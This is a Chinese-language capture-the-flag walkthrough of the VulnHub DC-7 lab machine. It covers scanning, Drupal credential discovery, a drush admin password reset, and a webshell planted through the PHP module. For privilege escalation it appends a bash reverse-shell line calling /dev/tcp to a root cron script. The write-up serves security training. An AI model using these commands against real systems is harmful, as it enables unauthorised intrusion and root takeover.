前言 vulnhub dc7
https://www.vulnhub.com/entry/dc-7,356/
靶机IP
信息收集 1 nmap -p- --min-rate 10000 192.168.1.11 -oN nmap/port.txt
1 2 3 PORT STATE SERVICE22 /tcp open ssh80 /tcp open http
1 nmap -sT -sC -sV -O -p22,80 192.168.1.11 -oN nmap/detail.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 PORT STATE SERVICE VERSION22 /tcp open ssh OpenSSH 7.4 p1 Debian 10 + deb9u6 (protocol 2.0 ) | ssh-hostkey: | 2048 d0:02 :e9:c7:5 d:95 :32 :ab:10 :99 :89 :84 :34 :3 d:1 e:f9 (RSA) | 256 d0:d6:40 :35 :a7:34 :a9:0 a:79 :34 :ee:a9:6 a:dd:f4:8 f (ECDSA) |_ 256 a8:55 :d5:76 :93 :ed:4 f:6 f:f1:f7:a1:84 :2 f:af:bb:e1 (ED25519)80 /tcp open http Apache httpd 2.4 .25 ((Debian)) |_http-generator: Drupal 8 (https:// www.drupal.org) | http-robots.txt: 22 disallowed entries (15 shown) | / core/ / profiles/ /README.txt /web.config / admin/ | / comment/ reply/ /filter/tips / node/ add/ / search/ / user/ register/ | / user/ password/ / user/ login/ / user/ logout/ / index.php/ admin/ |_/ index.php/ comment/ reply/ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Welcome to DC-7 | D7 MAC Address: 08 :00 :27 :1 A:79 :48 (Oracle VirtualBox virtual NIC)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purposeRunning: Linux 3 .X|4 .X OS CPE: cpe:/ o:linux:linux_kernel:3 cpe:/ o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.14 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/ o:linux:linux_kernel
操作系统 :Linux 3.2 - 4.14(Debian)
开放端口 :22,80
web服务 :Apache 2.4.25
CMS :Drupal 8
robots.txt :包含22条禁止条目,暴露了Drupal常见路径
1 gobuster dir -u http://192.168.1.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt ,.php ,.js ,.html -t 50
1 dirsearch -u http:// 192.168 .1.11 -e php,html,txt,js,bak -t 50 -w /usr/ share/wordlists/ dirb/common.txt
1 2 3 4 5 6 7 8 9 10 11 301 - /core -> http://192.168 .1.11 /core/301 - /modules -> http://192.168 .1.11 /modules/200 - /index.php301 - /profiles -> http://192.168 .1.11 /profiles/200 - /robots.txt302 - /search -> http://192.168 .1.11 /search/node302 - /Search -> http://192.168 .1.11 /search/node301 - /sites -> http://192.168 .1.11 /sites/301 - /themes -> http://192.168 .1.11 /themes/302 - /user -> http://192.168 .1.11 /user/login200 - /web.config
挨个查看,似乎并没有什么有用的信息
Github泄露 http://192.168.1.11/user/password
经过枚举,存在用户admin
但作者说爆破无法得出密码,只能从其他地方入手
根据cmsDrupal 8,exploit 发现可能存在cve-2018-7600 和CVE-2018-7602
尝试后均失败
根据提示,放弃从网站方面入手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 DC-7 introduces some "new" concepts, but IWhile this challenge isn What you will have to do , is to think "outside" the box. Way "outside" the box. :-) DC-7 引入了一些“新”概念,但我就不一一赘述了,留给你们自己去发现吧。:-) 虽然这个挑战的技术难度并不高,但如果你需要诉诸暴力破解或字典攻击,你可能不会成功。 你需要做的就是跳出思维定式。 完全跳出固有思维模式。:-)
尝试谷歌搜索
https://github.com/Dc7User/staffdb
发现git文件,在config.php发现一组凭据
1 2 3 4 5 6 7 <?php $servername = "localhost" ; $username = "dc7user" ; $password = "MdR3xOgB7#dW" ; $dbname = "Staff" ; $conn = mysqli_connect ($servername , $username , $password , $dbname );?>
cms登录失败,尝试ssh
成功
计划任务 在dc7user用户家目录发现邮件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 From root@dc-7 Thu Aug 29 17 :00:22 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3EPu-0000CV-5C for root@dc-7; Thu, 29 Aug 2019 17:00:22 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3EPu-0000CV-5C@dc-7> Date: Thu, 29 Aug 2019 17:00:22 +1000 Database dump saved to /home/dc7user/backups/website.sql [success ]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 17 :15:11 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:15:11 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3EeF-0000Dx-G1 for root@dc-7; Thu, 29 Aug 2019 17:15:11 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3EeF-0000Dx-G1@dc-7> Date: Thu, 29 Aug 2019 17:15:11 +1000 Database dump saved to /home/dc7user/backups/website.sql [success ]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 17 :30:11 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:30:11 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3Esl-0000Ec-JQ for root@dc-7; Thu, 29 Aug 2019 17:30:11 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3Esl-0000Ec-JQ@dc-7> Date: Thu, 29 Aug 2019 17:30:11 +1000 Database dump saved to /home/dc7user/backups/website.sql [success ]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 17 :45:11 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:45:11 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3F7H-0000G3-Nb for root@dc-7; Thu, 29 Aug 2019 17:45:11 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3F7H-0000G3-Nb@dc-7> Date: Thu, 29 Aug 2019 17:45:11 +1000 Database dump saved to /home/dc7user/backups/website.sql [success ]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 20 :45:21 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 20:45:21 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3Hvd-0000ED-CP for root@dc-7; Thu, 29 Aug 2019 20:45:21 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3Hvd-0000ED-CP@dc-7> Date: Thu, 29 Aug 2019 20:45:21 +1000 Database dump saved to /home/dc7user/backups/website.sql [success ]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 22 :45:17 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 22:45:17 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3Jng-0000Iw-Rq for root@dc-7; Thu, 29 Aug 2019 22:45:16 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3Jng-0000Iw-Rq@dc-7> Date: Thu, 29 Aug 2019 22:45:16 +1000 Database dump saved to /home/dc7user/backups/website.sql [success ]From root@dc-7 Thu Aug 29 23 :00:12 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 23:00:12 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3K28-0000Ll-11 for root@dc-7; Thu, 29 Aug 2019 23:00:12 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3K28-0000Ll-11@dc-7> Date: Thu, 29 Aug 2019 23:00:12 +1000 Database dump saved to /home/dc7user/backups/website.sql [success ]From root@dc-7 Fri Aug 30 00 :15:18 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Fri, 30 Aug 2019 00:15:18 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3LCo-0000Eb-02 for root@dc-7; Fri, 30 Aug 2019 00:15:18 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3LCo-0000Eb-02@dc-7> Date: Fri, 30 Aug 2019 00:15:18 +1000 rm: cannot remove '/home/dc7user/backups/*' : No such file or directory Database dump saved to /home/dc7user/backups/website.sql [success ]From root@dc-7 Fri Aug 30 03 :15:17 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Fri, 30 Aug 2019 03:15:17 +1000 Received: from root by dc-7 with local (Exim 4.89 ) (envelope-from <root@dc-7>) id 1i3O0y-0000Ed-To for root@dc-7; Fri, 30 Aug 2019 03:15:17 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3O0y-0000Ed-To@dc-7> Date: Fri, 30 Aug 2019 03:15:17 +1000 rm: cannot remove '/home/dc7user/backups/*' : No such file or directory Database dump saved to /home/dc7user/backups/website.sql [success ]
根据邮件头可以看出这是root发送的定时任务,执行**/opt/scripts/backups.sh**
1 Subject: Cron <root@dc -7 > /opt/scripts /backups.sh
但该脚本所有者为www-data,因此还是需要拿到反弹shell权限
MySQL 根据刚才得到得凭据尝试登录数据库失败
在/var/www/html/sites/default/settings.php找到真正得数据库凭据
1 2 3 4 5 6 7 8 9 10 $databases['default' ]['default' ] = array ( 'database' => 'd7db' , 'username' => 'db7user' , 'password' => 'yNv3Po00' , 'prefix' => '' , 'host' => 'localhost' , 'port' => '' , 'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql' , 'driver' => 'mysql' , );
1 mysql -u db7user -p'yNv3Po00' d7db
在users_field_data得到数据
uid
username
password hash
email
status
0
(空)
NULL
NULL
0 (禁用)
1
admin
$S$Ead.KmIcT/yfKC.1H53aDPJasaD7o.ioEGiaPy1lLyXXAJC/Qi4F
admin@example.com
1 (启用)
2
dc7user
$S$EKe0kuKQvFhgFnEYMpq.mRtbl/TQ5FmEjCDxbu0HIHaO0/U.YFjI
dc7user@blah.com
1 (启用)
重置密码 和dc1类似
https://drupalchina.cn/node/2128
/core/scripts/password-hash.sh
1 2 php scripts/password-hash.sh 123456 password: 123456 hash : $S$E .1j8lHEsC.DgYLxRfdhEplIJJYkauPJvEPJI/t1b03NiiUFEoNY
1 UPDATE users_field_data SET pass = '$S$E.1j8lHEsC.DgYLxRfdhEplIJJYkauPJvEPJI/t1b03NiiUFEoNY' WHERE uid = 1 ;
但依然登不进后台,不知原因
看了wp,才找到其他改密码方式
Drupal的命令行管理工具Drupal,可以直接用它改密码
1 drush upwd admin --password= "password"
成功登录后台
后台写shell Content => Add content =>Basic page可写shell
需要提前导入PHP模块Extend => Install new module
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
写入shell
www-data权限
计划任务提权 1 echo 'bash -i >& /dev/tcp/192.168.1.17 /6666 0 >&1 ' >> /opt/scripts/backups.sh
等待一段时间,收到shell
得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 888 888 888 888 8888888b. 888 888 888 888 888 o 888 888 888 888 "Y88b 888 888 888 888 888 d8b 888 888 888 888 888 888 888 888 888 888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888 888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888 88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P 8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " " 888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888 Congratulations!!! Hope you enjoyed DC-7. Just wanted to send a big thanks out there to all those who have provided feedback, and all those who have taken the time to complete these little challenges. I'm sending out an especially big thanks to: @4nqr34z @D4mianWayne @0xmzfr @theart42 If you enjoyed this CTF, send me a tweet via @DCAU7.